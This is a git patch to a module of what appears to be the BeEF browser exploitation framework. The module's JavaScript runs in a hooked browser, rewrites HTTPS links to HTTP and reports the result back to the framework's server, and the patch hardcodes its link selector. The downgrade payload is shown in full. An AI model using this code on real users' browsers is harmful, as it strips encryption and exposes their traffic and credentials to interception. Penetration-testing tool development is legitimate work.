From 455f862e11632873b25fbbb4361f265ac06cb712 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 27 Nov 2011 02:06:34 +1030 Subject: [PATCH] Fixes issue 450 The selector field has been removed from the Replace HREFs (HTTPS) module --- modules/browser/link_rewrite_sslstrip/command.js | 3 ++- modules/browser/link_rewrite_sslstrip/config.yaml | 2 +- modules/browser/link_rewrite_sslstrip/module.rb | 6 ------ 3 files changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/browser/link_rewrite_sslstrip/command.js b/modules/browser/link_rewrite_sslstrip/command.js index 2eab9ac98..4597d4626 100644 --- a/modules/browser/link_rewrite_sslstrip/command.js +++ b/modules/browser/link_rewrite_sslstrip/command.js @@ -15,10 +15,11 @@ // beef.execute(function() { + selector = "a"; old_protocol = "https"; new_protocol = "http"; - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, '<%= @selector %>')+' '+old_protocol+' links rewritten to '+new_protocol); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, selector)+' '+old_protocol+' links rewritten to '+new_protocol); }); diff --git a/modules/browser/link_rewrite_sslstrip/config.yaml b/modules/browser/link_rewrite_sslstrip/config.yaml index 9e0fe086c..66e3c3ab4 100644 --- a/modules/browser/link_rewrite_sslstrip/config.yaml +++ b/modules/browser/link_rewrite_sslstrip/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Browser" name: "Replace HREFs (HTTPS)" - description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten.

The jQuery selector field can be used to limit the selection of links. eg: a[href=\"http://beefproject.com\"]. For more information please see: http://api.jquery.com/category/selectors/" + description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten." authors: ["bcoles"] target: working: ["ALL"] diff --git a/modules/browser/link_rewrite_sslstrip/module.rb b/modules/browser/link_rewrite_sslstrip/module.rb index 7ab83dd5e..98cc4d72b 100644 --- a/modules/browser/link_rewrite_sslstrip/module.rb +++ b/modules/browser/link_rewrite_sslstrip/module.rb @@ -15,12 +15,6 @@ # class Link_rewrite_sslstrip < BeEF::Core::Command - def self.options - return [ - { 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'description' => 'Optional link selector other than all a* tags', 'value'=>'a', 'width'=>'200px' } - ] - end - def post_execute save({'result' => @datastore['result']}) end